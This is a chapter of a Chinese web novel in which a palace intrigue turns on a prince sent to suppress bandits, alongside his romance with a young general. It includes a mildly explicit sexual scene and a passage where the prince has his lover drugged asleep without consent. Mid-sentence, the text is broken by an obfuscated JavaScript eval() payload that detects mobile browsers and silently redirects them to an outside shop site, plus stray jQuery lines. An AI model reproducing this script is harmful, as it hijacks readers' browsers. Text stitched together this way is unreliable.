案子到此，便算结了。


    许清衡下狱，周大文问罪，清风馆依旧灯红酒绿，坊间又添了一段“长安第一深情”的笑谈。


    吏部里一时噤声，旧念头暂且埋回灰里。只是这把火，终究没烧到那些真正挂牌经手的小吏身上。该缩袖的缩袖，该装聋的装聋，风头一过，照旧行走如常。


    偏偏烧着的，是吏部右侍郎闻知年。


    名义上，他不过第三人，位次尚在尚书、左侍郎之后；可吏部真正的权柄、暗里的门路、章程的去处，多半攥在他手里。旁人办事，绕不开他；底下人求缺，也总先想着搭他的线。


    这一回，闻知年却算无辜。


    兽苑那等芝麻绿豆的小缺，他素来不过问。许清衡为攒钱娶妻，便将这些无人看重的小任补调，同旁的肥缺混在一处，借着“合议”“循例”的名头，把银子悄然揣进袖中。账不入暗簿，章也未过侍郎案头，做得干净利落，连闻知年都未曾听过一句风声。


    可案子翻出来，供状里却偏偏带着“闻侍郎门路”几个字。


    圣人对闻知年跋扈多年，早已心存不快，只是一直未寻到合适的由头。如今药狼一事撞上来，兽苑虽小，却牵着吏部；吏部旧账压在那里，正好借这一点火星，把人往下按。


    闻相府上香火不断，闻铮仍是那副伏低做小的姿态。没过多久，一道圣旨便落了下来：闻知年不再署理吏部诸务，改授翰林院侍读学士，入直内廷。名头依旧清贵，差事却空了。


    人还在京中，日日入朝，仍要在御前露面；只是从此，一纸调补不经他手，一两银钱不过他案。


    太子闻讯，心中一沉。舅舅被贬谪，外祖伏低做小，闻府香火不断，祠堂里夜夜抄经，却连一句宽慰都递不到东宫来。而另一边，三弟救驾在前，查案在后，行事干净利落，文武皆备。圣人未急着明赏，朝堂却已先动了心思，目光来回游移，风声不觉间偏了。


    太子自幼养在御前，由圣人亲自教养，写字读书，起居进退，皆在帝王目光之下。他一直以为，这份亲近，是储君独有的。诸皇子之中，或养在生母宫中，或循例受教，不过逢年过节得几句问询罢了。唯独皇三子不同。裴与驰年幼时，也曾被圣人带在身边，亲自指点。


    那时太子尚且年少，却已因这份“独有”被打破，而心生不安。也正因如此，他所忧的，从来只有这个三弟。旁人不足为惧，唯独裴与驰，同样出自圣人亲手教养，同样得过那份亲近，又偏偏比他更肖父，行事处处挑不出错。


    东宫的位置，便也因此显得不再稳当。


    思来想去，忧思郁结，太子竟病倒在榻。


    直到此时，圣人的话才迟迟落下，却并非金玉加身，而是一道口谕，命三皇子出京，平西南匪患。


    旨意一下，朝堂背后议论顿起。


    救驾在前，查案在后，如今又奉命领兵出行。圣上这一连串安排，看着步步抬举，分明是要将三皇子的功绩，一桩桩坐实。风声暗暗传开，有人低声揣测：莫不是……要封王了？


    可也有人越琢磨越觉不对。这剿匪，哪里是什么面子工程。西南山深林密，匪患盘踞多年，势头愈发张狂，连“蜈蚣旗”都竖了起来，自称蜈蚣王。朝廷前前后后，从周边调派兵马五千有余，却始终奈何不得，不但无功，反倒有八百余人折在密林瘴气之中，尸骨未还。这等差事，凶险至此。究竟是加恩，还是借刀？


    一时之间，说什么的都有。


    只是圣人的口谕也好，朝堂的议论也罢，此刻都还未传到三皇子那里。


    便是传到了，他眼下也顾不上。


    湖面水光潋滟，画舫缓缓而行，橹声轻轻，一下又一下，仿佛敲在人心上。船尾只留了个耳聋的老艄公，被打发得远远的，帘子一落，里头便另成天地。


    三殿下此刻，正是软香温玉在怀。


    樱桃口，蔷薇汗，往日三殿下写进话本里的那些辞藻，此刻倒一一应验。呼吸相侵，肌理生热，连湖风都像被隔在了帘外。湖上，学着旁人风雅泛舟，却到底学得不太正经：人家是相对而坐，抚琴写诗；他俩却是屏退侍从，亲在一处。


    狸奴此刻，真像只精怪，裴与驰心想。


    人就坐在他腿上，手臂松松地圈着他的颈项，贴得理所当然。亲不过片刻，裴与驰心里已觉不妙，伸手将人推开。要命的是，偏生这狸奴生得唇若点朱，齿白肌润，被推开时竟慢了半拍，身子虽退了，魂却还没归位。那双眼被湖水一照，亮得发湿，迷迷瞪瞪地落在他脸上，像是还没想明白事理，便脱口问了一句：“怎么就不亲了？”


    话音未落，人已顺势又凑近了些，竟还要贴上来讨个明白。


    裴与驰几乎是本能地按住了他。那一瞬，他只觉心口一紧，暗道不好，这回怕不是真狸奴成精了。


    欲念翻涌，几乎失控。再慢半分，端方君子怕是要当场破功，化身成采花大盗。


    只是三殿下也不是吃素的。狸奴精有张良计，他自有过墙梯。那边还在低低絮语，话里话外皆是不肯放手的亲近，声音黏软，手上也缠着人不放。裴与驰却忽地伸手，将他的手牵了过来，顺势一按，低声笑道：“急什么？”


    这一按不重，却仿佛一剂回魂妙药。方才还占着上风的狸奴，当即噤了声。情根乍动，热意方盛，指尖一触，只觉对方情气正浓，灼得人手上一颤，人便僵在当场。


    先前那点勾人心魄的精怪模样，仿佛被风一吹，顷刻散尽。


    红晕自颊边慢慢浮起，一路染到耳后，连脖颈都透出薄薄一层颜色。眼神更是无处安放，低低垂着，又忍不住游移，偏偏不敢再往裴与驰脸上送去，只剩满身热意与羞意，无从遮掩。


    三殿下见状，暗暗松了口气，心下只道：这下好了，精怪总算是化回了原形。


    他并非不想，只是此事不能乱来。狸奴年纪尚轻，他又未曾三书六聘，更谈不上明媒正娶。裴与驰从来不打算让迟铎困于内宅，学那寻常夫妻的模样。他要他自由自在，纵马持刀，仍是原来的迟小将军。


    可该有的分寸，一样不能少。父母之命，媒妁之言，总要走全。他心里早已有了计较：先去求圣人一个恩典，再设法得了迟家父母的点头。两人私下定亲便好，可三书六聘，一样不能缺。这些排场，本就是给他一人看的。


    偏偏就在这时，原本还红着脸不敢抬头的狸奴，忽然又动了，手上试探着靠近，动作生涩，却固执得很，推不开。


    裴与驰一怔，声音低哑得不像话：“……..你这是做什么？”


    迟铎脸上的红云更甚，仍旧不肯看他，含糊地应了一声：“……帮忙。”


    裴与驰：“……”


    他忽然觉得，方才那口气，松得还是太早了些。


    他这天字第一号的大忍人，怕是还要再忍一忍。


    画舫仍在缓缓前行。橹声一下一下，水面被拨开，又在船后悄然合拢。除此之外，再无旁的声响。帘子低垂，里头静得过分，连呼吸都显得清晰。


    裴与驰原想拦他，偏偏要紧处被直接拿捏，那狸奴手劲只紧上一分，便叫人受不住，只得顺着他的手势，低声指点几句，教他如何周全这分轻重——而这一分轻重，于狸奴将来本人而言，尤为要紧。


    三殿下暗叹世事无常，偏偏摊上这么一只笨狸奴精。


    那精怪生得惑人，偏偏手笨拙，行事全无章法，轻了不成，重了又痛，叫人一时吃紧，一时又难舍，只得由着他慢慢摸索。个中滋味，实在难以言说。


    不知过了很久。久到他自己都分不清，是湖水轻晃，还是心绪微摇。忍耐一点点消磨殆尽，呼吸渐渐失了旧日的节拍，连出口的声线，都低哑得不像往常。


    “……够了。”


    这一声在耳边低低落下，随之而来的，是掌心一阵湿意。迟铎这才猛地回神，手上一顿，整个人仿佛被惊醒一般僵住，又不敢抬头，脸上热意翻涌，羞得不成样子。


    理智回笼的迟小将军，这才暗自心惊，只觉自己方才怕不是中了什么邪，竟一时昏了头，做出这等荒唐事来。


    偏生这边还在回神，那边的是非早已分了个清楚。


    三殿下觑着狸奴的神色，心中自有一番评断：分明是这狸奴仗着几分三脚猫的本事，强行买卖，折腾得人进退两难；偏又弄得好似他欺人太甚，逼良为娼一般。可话虽如此，那狸奴掌心所留的“证据”尚在，细想之下，他也不得不承认，此事之中，自己并非全然占理。


    于是他整理了衣襟，强自收敛神色，从袖中取出一方手帕，递到迟铎掌心，仿佛方才二人不过是在画舫中品茶赏景。


    帕子一递，迟铎却更不敢抬头了，只默默接过，指尖触到绢面，红意又悄悄爬回耳根。


    画舫里一时无话。


    三殿下侧过脸去，看向帘外水色，神情已回到往日的冷淡，只是耳后那点未褪的薄红，终究骗不得人。


    迟铎低头擦手，擦完了却又不知该把帕子往哪儿放，只好攥在掌心，松也不是，收也不是。过了好一会儿，才小声道了一句：“……我不是故意的。”


    这话说得没头没尾。


    裴与驰听见，却没回头，也未调笑，只低低应了一声：“嗯。”


    这一声落下，舱中反倒更静了。那点事后才生出来的羞赧，在两人之间慢慢发酵，谁也不好先动。


    偏在此时，岸边忽起喧哗。


    甲胄声骤响，脚步逼近。那眼尖耳聋的老艄公得了示意，忙将船篙一撑，画舫轻轻一晃，顺势靠岸。人还未站稳，岸上已是一声清喝，破水而来——


    “奉圣上口谕！三皇子接旨——”


    这一声，如同当头一棒。


    裴与驰已然起身，衣襟一拢，神色收得干干净净。方才画舫里的风月气息，仿佛从未存在过。


    迟铎却愣了一瞬，下意识也要跟着往外走。走到舱口，才猛地反应过来——他手里，还死死攥着那方手帕。绢面温软，余意未散。偏偏这会儿，传旨内侍已在岸上立定，甲胄森然，声色俱肃。


    迟小将军站在原地，只觉这一步迈也不是，不迈也不是，手里那点分量，竟比方才画舫里的风浪还要叫人心虚。当着传旨内侍的面，竟生出一种——偷情被当场拿住的错觉。


    所幸内侍目不斜视。见三皇子现身，只一甩拂尘，声线清朗：


    “圣人口谕：近来西南匪患未靖，扰民伤财，着三皇子裴与驰，统兵前往，限期平定，不得有误。”


    画舫里的儿女情长，被这一道口谕生生压下，顷刻间敛得无影无踪。


    裴与驰已整衣下拜，神色从容：“臣，领旨。”


    迟铎站在他身后半步远的地方，听得心口一沉。长安呆久了，他竟一时忘了，当初与裴与驰相识，正是因他奉旨远赴边塞监军。


    传旨内侍宣毕，略一颔首，转身退下。甲胄声渐远，岸边的喧哗也随之散去，只剩湖水轻拍船舷，仿佛什么都未曾发生。


    画舫里，再度无话。


    迟铎低头，看了眼自己掌心那方手帕，又像被烫着似的，猛地收进袖中，清了清嗓子，才道：“我随你去。”


    裴与驰没有立刻回头，只沉默了片刻，方才低声道：“不必。”


    迟铎盯着他：“什么意思？”


    裴与驰这才转过身来，目光落在他脸上，冷静得几乎不近人情。


    “你留在京中。”


    迟铎眉心一紧，语气压得很低：“剿匪不是好差事。”


    裴与驰没接话。


    迟铎往前一步，伸手拽住他的袖子：“我去求圣人，未必不成。”


    话落，画舫里静了静。


    没等到回答，迟铎松了手，又看了他一会儿，脸上不显愠色，反倒像是认了账，顺手把话头一转，重提风月来：“不去就不去。三殿下好大的架子。”


    他说着又补了一句，语气轻快得很：“还不带我去净手？”


    裴与驰依旧没应，他的目光，却一直落在迟铎脸上，没移开。


    迟铎也不再逼他，转身往舱外走，步子不紧不慢，像是真打算就此作罢。只是心里早已定了主意，争是争不出结果的。休沐一过，明日入朝，他自会奏请。


    这一步，谁也拦不住。


    只是他没想到，千防万防，防的都是正路，偏偏三殿下，从一开始，就没打算走正道。


    夜已深，将军府内灯影


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133300|191384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    昏昏，帘帐低垂。迟铎躺在榻上，呼吸平稳，睡得极沉，平日里绷着的唇角难得松开，微微翘起，像是正做着什么好梦。


    裴与驰立在榻前，看了他一会儿。


    “这药，”他忽然开口，声音压得很低，“会头痛吗？”


    武秦立在一旁，躬身回禀：“医馆那边酌量再酌量，只作安神之用。醒来后，最多一时昏沉，不伤身。”


    裴与驰“嗯”了一声。


    他伸手，替迟铎将被角往上掖了掖，动作极轻，像是怕惊着人。指尖收回时，却在那张唇边停了片刻，也未避人，俯身落下一吻，一触即分。


    武秦早已偏过头去，片刻后又自然转回，神色如常。


    裴与驰直起身，语气已然恢复了惯常的冷静：“走。”


    这边三殿下披着月色上路，那边迟铎似有所感，睡得并不安稳，醒得很早。


    他忽然从榻上惊坐而起，只觉心口一空。抬眼一看，却发现自己已换好亵衣，安安稳稳躺在自己床上。昨夜之后的事，竟是一点也想不起来，只停在回府的马车上，两人对坐下棋，斗嘴不休，你来我往，谁也不肯让谁，再往后，便是一片空白。


    迟铎心里一沉。


    正这时，门外脚步声起，管家端着一碗热茶进来。见他醒了，先是一怔，随即快步上前，只是脸上那点笑意，怎么看都带着几分不自在。


    “少将军醒得早。”管家将茶盏放在案上，“夜里睡得可好？”


    迟铎目光在那茶上停了一瞬，却没去碰，只问：“殿下呢？”


    管家手上一顿，低声回道：“天还未亮，殿下便已动身了。”


    这话一落，迟铎心里那点不安，顿时有了着落。


    管家清了清嗓子，又将茶盏往前推了推：“少将军若是口渴，不妨喝了这碗安神茶。”


    “安神？”迟铎抬眼。


    管家点头，却明显少了几分底气：“殿下说，少将军近日操劳，合该多歇一歇。”


    话说得委婉，意思却再明白不过。


    迟铎看着那碗茶，忽然笑了一声。


    下一刻，他已起身更衣。不是常服，是骑装，扣子一粒粒扣得利落，动作快得几乎带风，那架势分明是要即刻出府。看这情形，怕是连圣上也不准备去奏请了。


    管家心头一跳，急忙上前：“少将军——”


    迟铎头也不抬。


    管家是真急了，连忙从怀中最里层取出一封信，双手递上：“这是殿下留下的信。殿下走前交代，少将军务必要先看这个。”


    迟铎动作未停，只冷声道：“有什么好看的？让他亲自同我说。”


    “少将军，不可！”管家声音都变了，“圣上尚未知晓，您若擅自离了长安，边塞那边…….”


    这一句，终于叫气血翻涌的迟铎止住动作。


    他已然明白，裴与驰是故意的。一步不多，一步不少，全都算好了。


    迟铎伸手接过那封信，信封上四个字，龙飞凤舞：狸奴亲启。


    字本是好字。笔势张扬，起落分明，放在往日替他抄书的时候，他定要笑着夸一句殿下文曲星下凡，笔走龙蛇。可眼下盯着看了片刻，他心里却只生出一个念头：轻狂。落笔太满，转折太快，一撇一捺都带着不肯收敛的得意，人已走远，还偏要回头晃一眼，生怕旁人不知道他走得干脆。


    越看越碍眼。


    那字分明没变，可落在他眼里，却横竖都成了不是。一横一竖，都像是故意往人心口戳，戳得人又气又恼。


    他冷着脸拆开信，内容更是碍眼至极。


    这一回，既没掉书袋，也没半句艳词秽语，全是大白话，直白得很，偏偏句句都戳在要害上。


    启者无他。


    行止仓促，未及当面叮嘱，只好留字一封，免得你醒来，又要拍案骂人。


    昨夜之事，不必多想。你本就困得厉害，我看着碍眼，索性替你行个方便。睡得沉些，也省得醒来卖乖耍赖，徒惹人头疼。


    我走得早，是怕你醒来缠人。自家狸奴娇憨耍赖的本事，我最清楚，一旦赖上，甩都甩不开，索性先行一步，免得你翻脸拔刀，叫人招架不住。


    你若此刻正捏着这封信磨牙，想来精神尚好。气也好，骂也罢，权当替我送行。


    头若稍觉发沉，记我一笔便是；账先欠着，待我归来，一并清算，左右跑不了。


    京中诸般热闹，烦你代我看过，记在心里，改日说与我听，以解路途之闷。


    饮食当时，少动刀兵。


    待我回来，再由你慢慢发作。


    裴与驰


    留字


    迟铎盯着“裴与驰”三个字，只觉一股气直冲天灵盖，恨不能当场把这封信揉成一团，狠狠掷向那个人。那股气还没散干净，鼻子先发起酸来，来得又急又狠，毫不讲理。因为他忽然意识到：他现在，已经找不到人可掷了。


    他下意识偏过头，吸了吸鼻子，像是要把这点不合时宜的情绪硬生生压回去。


    怎么能这样？


    耍阴招把自己放倒还不算，一句正经的解释都不给，一句软话也不说，走得干脆利落，连当面告别都没有。


    迟铎咬了咬牙，低声骂了一句：“混账。”


    骂出口了，心里却没轻松半分。


    那封信还攥在手里，指腹贴着纸页，能清楚地摸到那点折痕。他这才发现，信纸被人折得很仔细，边角齐整，显然是临走前反复压过的。


    不是随手一塞。


    迟铎心里那点酸，忽然就没了去处。


    他站在原地，许久没动。到最后，也只是把信重新展开，又从头到尾看了一遍，像是要从那些欠揍的大白话里，找出一点别的什么来。


    可找来找去，字里行间，仍旧只有那副理直气壮的混账样子。


    偏偏就是这副样子，叫他恨也恨不彻底，气也气不长久，到底还是舍不得。


    他盯着最后那一句，看了很久。


    良久，才低低骂了一声，语气却没什么力道：“你最好……如约给我滚回来。”


    不然前缘既断，后事不续；这一世的人若不回来，下辈子，也休想再来寻他。